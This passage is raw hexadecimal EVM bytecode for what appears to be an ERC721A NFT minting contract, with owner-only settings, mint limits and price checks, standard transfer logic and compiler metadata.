fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590614176565b60405180910390fd5b6114a86000612d84565b565b6114b26125f0565b73ffffffffffffffffffffffffffffffffffffffff166114d0611599565b73ffffffffffffffffffffffffffffffffffffffff16148061154657506114f56125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c90614176565b60405180910390fd5b6115966115906125f0565b82612e4a565b50565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6115cb6125f0565b73ffffffffffffffffffffffffffffffffffffffff166115e9611599565b73ffffffffffffffffffffffffffffffffffffffff16148061165f575061160e6125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61169e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169590614176565b60405180910390fd5b80600b8190555050565b6116b06125f0565b73ffffffffffffffffffffffffffffffffffffffff166116ce611599565b73ffffffffffffffffffffffffffffffffffffffff16148061174457506116f36125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177a90614176565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b6060600280546117be90614611565b80601f01602080910402602001604051908101604052809291908181526020018280546117ea90614611565b80156118375780601f1061180c57610100808354040283529160200191611837565b820191906000526020600020905b81548152906001019060200180831161181a57829003601f168201915b5050505050905090565b600b5481565b6000600b54905060006001600f5461185f9190614446565b8360125461186d9190614446565b1080156118ba5750600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611c2457601160009054906101000a900460ff16611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890614016565b60405180910390fd5b6010548361191d610cdd565b6119279190614446565b1115611968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195f90614036565b60405180910390fd5b600c548311156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906142b6565b60405180910390fd5b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546119fa9190614527565b8310611b165781601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a4e9190614527565b611a5891906144cd565b8284611a6491906144cd565b611a6e9190614527565b341015611ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa790614136565b60405180910390fd5b600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460126000828254611b0a9190614446565b92505081905550611c1f565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611b639190614527565b831015611c1e576000341015611bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba590614136565b60405180910390fd5b82601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bfd9190614446565b925050819055508260126000828254611c169190614446565b925050819055505b5b611e5b565b601160009054906101000a900460ff16611c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6a90614016565b60405180910390fd5b600e5483601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc19190614446565b1115611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf9906141f6565b60405180910390fd5b8183611d0e91906144cd565b341015611d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4790614136565b60405180910390fd5b60105483611d5c610cdd565b611d669190614446565b1115611da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9e90614036565b60405180910390fd5b600c54831115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de3906142b6565b60405180910390fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5190614076565b60405180910390fd5b5b82601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611eaa9190614446565b92505081905550611ebb3384612e4a565b505050565b611ec86125f0565b73ffffffffffffffffffffffffffffffffffffffff16611ee6611599565b73ffffffffffffffffffffffffffffffffffffffff161480611f5c5750611f0b6125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611f9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9290614176565b60405180910390fd5b80600a9080519060200190611fb192919061358e565b5050565b611fbd6125f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561202b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612022906141b6565b60405180910390fd5b80600660006120386125f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166120e56125f0565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161212a9190613fb9565b60405180910390a35050565b6000600d54905090565b61214b8484846126aa565b61215784848484612e68565b612196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218d90614256565b60405180910390fd5b50505050565b600d5481565b60606121ad826125e3565b6121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e390614196565b60405180910390fd5b60006121f6612fff565b905060008151116122165760405180602001604052806000815250612241565b8061222084613091565b604051602001612231929190613f0e565b6040516020818303038152906040525b915050919050565b601160009054906101000a900460ff1681565b60105481565b60125481565b6122706125f0565b73ffffffffffffffffffffffffffffffffffffffff1661228e611599565b73ffffffffffffffffffffffffffffffffffffffff16148061230457506122b36125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233a90614176565b60405180910390fd5b80600d8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6123e96125f0565b73ffffffffffffffffffffffffffffffffffffffff16612407611599565b73ffffffffffffffffffffffffffffffffffffffff16148061247d575061242c6125f0565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b390614176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561252c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252390614056565b60405180910390fd5b61253581612d84565b50565b60136020528060005260406000206000915090505481565b600c5481565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006126b582612bea565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff166126dc6125f0565b73ffffffffffffffffffffffffffffffffffffffff16148061273857506127016125f0565b73ffffffffffffffffffffffffffffffffffffffff1661272084610b27565b73ffffffffffffffffffffffffffffffffffffffff16145b806127545750612753826000015161274e6125f0565b61234d565b5b905080612796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278d906141d6565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614612808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ff90614156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286f906140d6565b60405180910390fd5b61288585858560016131f2565b61289560008484600001516125f8565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612b7a57612ad9816125e3565b15612b795782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612be385858560016131f8565b5050505050565b612bf2613614565b612bfb826125e3565b612c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3190614096565b60405180910390fd5b60008290505b60008110612d43576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612d34578092505050612d7f565b50808060019003915050612c40565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7690614316565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612e648282604051806020016040528060008152506131fe565b5050565b6000612e898473ffffffffffffffffffffffffffffffffffffffff16612556565b15612ff2578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612eb26125f0565b8786866040518563ffffffff1660e01b8152600401612ed49493929190613f6d565b602060405180830381600087803b158015612eee57600080fd5b505af1925050508015612f1f57506040513d601f19601f82011682018060405250810190612f1c91906139a4565b60015b612fa2573d8060008114612f4f576040519150601f19603f3d011682016040523d82523d6000602084013e612f54565b606091505b50600081511415612f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9190614256565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612ff7565b600190505b949350505050565b6060600a805461300e90614611565b80601f016020809104026020016040519081016040528092919081815260200182805461303a90614611565b80156130875780601f1061305c57610100808354040283529160200191613087565b820191906000526020600020905b81548152906001019060200180831161306a57829003601f168201915b5050505050905090565b606060008214156130d9576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506131ed565b600082905060005b6000821461310b5780806130f490614674565b915050600a82613104919061449c565b91506130e1565b60008167ffffffffffffffff811115613127576131266147aa565b5b6040519080825280601f01601f1916602001820160405280156131595781602001600182028036833780820191505090505b5090505b600085146131e6576001826131729190614527565b9150600a8561318191906146bd565b603061318d9190614446565b60f81b8183815181106131a3576131a261477b565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856131df919061449c565b945061315d565b8093505050505b919050565b50505050565b50505050565b61320b8383836001613210565b505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327d90614276565b60405180910390fd5b60008414156132ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132c190614296565b60405180910390fd5b6132d760008683876131f2565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b8581101561357157818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4831561355c5761351c6000888488612e68565b61355b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161355290614256565b60405180910390fd5b5b818060010192505080806001019150506134a5565b50806000819055505061358760008683876131f8565b5050505050565b82805461359a90614611565b90600052602060002090601f0160209004810192826135bc5760008555613603565b82601f106135d557805160ff1916838001178555613603565b82800160010185558215613603579182015b828111156136025782518255916020019190600101906135e7565b5b509050613610919061364e565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b8082111561366757600081600090555060010161364f565b5090565b600061367e61367984614396565b614371565b90508281526020810184848401111561369a576136996147de565b5b6136a58482856145cf565b509392505050565b60006136c06136bb846143c7565b614371565b9050828152602081018484840111156136dc576136db6147de565b5b6136e78482856145cf565b509392505050565b6000813590506136fe81614f03565b92915050565b60008135905061371381614f1a565b92915050565b60008135905061372881614f31565b92915050565b60008151905061373d81614f31565b92915050565b600082601f830112613758576137576147d9565b5b813561376884826020860161366b565b91505092915050565b600082601f830112613786576137856147d9565b5b81356137968482602086016136ad565b91505092915050565b6000813590506137ae81614f48565b92915050565b6000602082840312156137ca576137c96147e8565b5b60006137d8848285016136ef565b91505092915050565b600080604083850312156137f8576137f76147e8565b5b6000613806858286016136ef565b9250506020613817858286016136ef565b9150509250929050565b60008060006060848603121561383a576138396147e8565b5b6000613848868287016136ef565b9350506020613859868287016136ef565b925050604061386a8682870161379f565b9150509250925092565b6000806000806080858703121561388e5761388d6147e8565b5b600061389c878288016136ef565b94505060206138ad878288016136ef565b93505060406138be8782880161379f565b925050606085013567ffffffffffffffff8111156138df576138de6147e3565b5b6138eb87828801613743565b91505092959194509250565b6000806040838503121561390e5761390d6147e8565b5b600061391c858286016136ef565b925050602061392d85828601613704565b9150509250929050565b6000806040838503121561394e5761394d6147e8565b5b600061395c858286016136ef565b925050602061396d8582860161379f565b9150509250929050565b60006020828403121561398d5761398c6147e8565b5b600061399b84828501613719565b91505092915050565b6000602082840312156139ba576139b96147e8565b5b60006139c88482850161372e565b91505092915050565b6000602082840312156139e7576139e66147e8565b5b600082013567ffffffffffffffff811115613a0557613a046147e3565b5b613a1184828501613771565b91505092915050565b600060208284031215613a3057613a2f6147e8565b5b6000613a3e8482850161379f565b91505092915050565b613a508161455b565b82525050565b613a5f8161456d565b82525050565b6000613a70826143f8565b613a7a818561440e565b9350613a8a8185602086016145de565b613a93816147ed565b840191505092915050565b6000613aa982614403565b613ab3818561442a565b9350613ac38185602086016145de565b613acc816147ed565b840191505092915050565b6000613ae282614403565b613aec818561443b565b9350613afc8185602086016145de565b80840191505092915050565b6000613b1560228361442a565b9150613b20826147fe565b604082019050919050565b6000613b3860148361442a565b9150613b438261484d565b602082019050919050565b6000613b5b60078361442a565b9150613b6682614876565b602082019050919050565b6000613b7e60268361442a565b9150613b898261489f565b604082019050919050565b6000613ba1601e8361442a565b9150613bac826148ee565b602082019050919050565b6000613bc4602a8361442a565b9150613bcf82614917565b604082019050919050565b6000613be760238361442a565b9150613bf282614966565b604082019050919050565b6000613c0a60258361442a565b9150613c15826149b5565b604082019050919050565b6000613c2d60398361442a565b9150613c3882614a04565b604082019050919050565b6000613c50602b8361442a565b9150613c5b82614a53565b604082019050919050565b6000613c7360208361442a565b9150613c7e82614aa2565b602082019050919050565b6000613c9660268361442a565b9150613ca182614acb565b604082019050919050565b6000613cb960058361443b565b9150613cc482614b1a565b600582019050919050565b6000613cdc60208361442a565b9150613ce782614b43565b602082019050919050565b6000613cff602f8361442a565b9150613d0a82614b6c565b604082019050919050565b6000613d22601a8361442a565b9150613d2d82614bbb565b602082019050919050565b6000613d4560328361442a565b9150613d5082614be4565b604082019050919050565b6000613d68601e8361442a565b9150613d7382614c33565b602082019050919050565b6000613d8b60228361442a565b9150613d9682614c5c565b604082019050919050565b6000613dae60008361441f565b9150613db982614cab565b600082019050919050565b6000613dd160108361442a565b9150613ddc82614cae565b602082019050919050565b6000613df460338361442a565b9150613dff82614cd7565b604082019050919050565b6000613e1760218361442a565b9150613e2282614d26565b604082019050919050565b6000613e3a60288361442a565b9150613e4582614d75565b604082019050919050565b6000613e5d60138361442a565b9150613e6882614dc4565b602082019050919050565b6000613e80602e8361442a565b9150613e8b82614ded565b604082019050919050565b6000613ea3601f8361442a565b9150613eae82614e3c565b602082019050919050565b6000613ec6602f8361442a565b9150613ed182614e65565b604082019050919050565b6000613ee9602d8361442a565b9150613ef482614eb4565b604082019050919050565b613f08816145c5565b82525050565b6000613f1a8285613ad7565b9150613f268284613ad7565b9150613f3182613cac565b91508190509392505050565b6000613f4882613da1565b9150819050919050565b6000602082019050613f676000830184613a47565b92915050565b6000608082019050613f826000830187613a47565b613f8f6020830186613a47565b613f9c6040830185613eff565b8181036060830152613fae8184613a65565b905095945050505050565b6000602082019050613fce6000830184613a56565b92915050565b60006020820190508181036000830152613fee8184613a9e565b905092915050565b6000602082019050818103600083015261400f81613b08565b9050919050565b6000602082019050818103600083015261402f81613b2b565b9050919050565b6000602082019050818103600083015261404f81613b4e565b9050919050565b6000602082019050818103600083015261406f81613b71565b9050919050565b6000602082019050818103600083015261408f81613b94565b9050919050565b600060208201905081810360008301526140af81613bb7565b9050919050565b600060208201905081810360008301526140cf81613bda565b9050919050565b600060208201905081810360008301526140ef81613bfd565b9050919050565b6000602082019050818103600083015261410f81613c20565b9050919050565b6000602082019050818103600083015261412f81613c43565b9050919050565b6000602082019050818103600083015261414f81613c66565b9050919050565b6000602082019050818103600083015261416f81613c89565b9050919050565b6000602082019050818103600083015261418f81613ccf565b9050919050565b600060208201905081810360008301526141af81613cf2565b9050919050565b600060208201905081810360008301526141cf81613d15565b9050919050565b600060208201905081810360008301526141ef81613d38565b9050919050565b6000602082019050818103600083015261420f81613d5b565b9050919050565b6000602082019050818103600083015261422f81613d7e565b9050919050565b6000602082019050818103600083015261424f81613dc4565b9050919050565b6000602082019050818103600083015261426f81613de7565b9050919050565b6000602082019050818103600083015261428f81613e0a565b9050919050565b600060208201905081810360008301526142af81613e2d565b9050919050565b600060208201905081810360008301526142cf81613e50565b9050919050565b600060208201905081810360008301526142ef81613e73565b9050919050565b6000602082019050818103600083015261430f81613e96565b9050919050565b6000602082019050818103600083015261432f81613eb9565b9050919050565b6000602082019050818103600083015261434f81613edc565b9050919050565b600060208201905061436b6000830184613eff565b92915050565b600061437b61438c565b90506143878282614643565b919050565b6000604051905090565b600067ffffffffffffffff8211156143b1576143b06147aa565b5b6143ba826147ed565b9050602081019050919050565b600067ffffffffffffffff8211156143e2576143e16147aa565b5b6143eb826147ed565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614451826145c5565b915061445c836145c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614491576144906146ee565b5b828201905092915050565b60006144a7826145c5565b91506144b2836145c5565b9250826144c2576144c161471d565b5b828204905092915050565b60006144d8826145c5565b91506144e3836145c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561451c5761451b6146ee565b5b828202905092915050565b6000614532826145c5565b915061453d836145c5565b9250828210156145505761454f6146ee565b5b828203905092915050565b6000614566826145a5565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156145fc5780820151818401526020810190506145e1565b8381111561460b576000848401525b50505050565b6000600282049050600182168061462957607f821691505b6020821081141561463d5761463c61474c565b5b50919050565b61464c826147ed565b810181811067ffffffffffffffff8211171561466b5761466a6147aa565b5b80604052505050565b600061467f826145c5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156146b2576146b16146ee565b5b600182019050919050565b60006146c8826145c5565b91506146d3836145c5565b9250826146e3576146e261471d565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d696e74206973206e6f74206c69766520796574000000000000000000000000600082015250565b7f4e6f206d6f726500000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f546865206d696e74657220697320616e6f7468657220636f6e74726163740000600082015250565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f506c656173652073656e64207468652065786163742045544820616d6f756e74600082015250565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f457863656564206d6178696d756d204e465473207065722077616c6c65740000600082015250565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e74697479206d7573742062652067726561746560008201527f72207468616e2030000000000000000000000000000000000000000000000000602082015250565b7f4d61782070657220545820726561636865642e00000000000000000000000000600082015250565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b614f0c8161455b565b8114614f1757600080fd5b50565b614f238161456d565b8114614f2e57600080fd5b50565b614f3a81614579565b8114614f4557600080fd5b50565b614f51816145c5565b8114614f5c57600080fd5b5056fea26469706673582212205cb3979d4e9f73d23355317135178d41c26e336f6762ff1d7d0111715a2f3e5364736f6c63430008070033697066733a2f2f516d576d77634d56506361776b4c76756a51645232335378633341626a593373677a53535666776d386d45516e742f

0x60806040526004361061023b5760003560e01c80638da5cb5b1161012e578063c7c39ffc116100ab578063e945971c1161006f578063e945971c14610854578063e985e9c51461087d578063f2fde38b146108ba578063f4db2acb146108e3578063f968adbe146109205761023b565b8063c7c39ffc1461076b578063c87b56dd14610796578063d1239730146107d3578063d5abeb01146107fe578063dad7b5c9146108295761023b565b8063a0712d68116100f2578063a0712d68146106a9578063a0bcfc7f146106c5578063a22cb465146106ee578063a702735714610717578063b88d4fde146107425761023b565b80638da5cb5b146105e857806391b7f5ed14610613578063957aa58c1461063c57806395d89b4114610653578063a035b1fe1461067e5761023b565b806342842e0e116101bc57806364b721881161018057806364b72188146105155780636c0360eb1461054057806370a082311461056b578063715018a6146105a85780637e0c7fc5146105bf5761023b565b806342842e0e1461041e578063453c2310146104475780634f6ccce7146104725780635a963f1b146104af5780636352211e146104d85761023b565b806318160ddd1161020357806318160ddd1461034b57806323b872dd146103765780632f745c591461039f578063333e44e6146103dc5780633ccfd60b146104075761023b565b806301ffc9a71461024057806306fdde031461027d578063081812fc146102a8578063095ea7b3146102e557806311b01a321461030e575b600080fd5b34801561024c57600080fd5b5061026760048036038101906102629190613977565b61094b565b6040516102749190613fb9565b60405180910390f35b34801561028957600080fd5b50610292610a95565b60405161029f9190613fd4565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190613a1a565b610b27565b6040516102dc9190613f52565b60405180910390f35b3480156102f157600080fd5b5061030c60048036038101906103079190613937565b610bac565b005b34801561031a57600080fd5b50610335600480360381019061033091906137b4565b610cc5565b6040516103429190614356565b60405180910390f35b34801561035757600080fd5b50610360610cdd565b60405161036d9190614356565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190613821565b610ce6565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190613937565b610cf6565b6040516103d39190614356565b60405180910390f35b3480156103e857600080fd5b506103f1610ee8565b6040516103fe9190614356565b60405180910390f35b34801561041357600080fd5b5061041c610eee565b005b34801561042a57600080fd5b5061044560048036038101906104409190613821565b6110ce565b005b34801561045357600080fd5b5061045c6110ee565b6040516104699190614356565b60405180910390f35b34801561047e57600080fd5b5061049960048036038101906104949190613a1a565b6110f4565b6040516104a69190614356565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d19190613a1a565b611147565b005b3480156104e457600080fd5b506104ff60048036038101906104fa9190613a1a565b61122c565b60405161050c9190613f52565b60405180910390f35b34801561052157600080fd5b5061052a611242565b6040516105379190614356565b60405180910390f35b34801561054c57600080fd5b5061055561124c565b6040516105629190613fd4565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d91906137b4565b6112da565b60405161059f9190614356565b60405180910390f35b3480156105b457600080fd5b506105bd6113c3565b005b3480156105cb57600080fd5b506105e660048036038101906105e19190613a1a565b6114aa565b005b3480156105f457600080fd5b506105fd611599565b60405161060a9190613f52565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190613a1a565b6115c3565b005b34801561064857600080fd5b506106516116a8565b005b34801561065f57600080fd5b506106686117af565b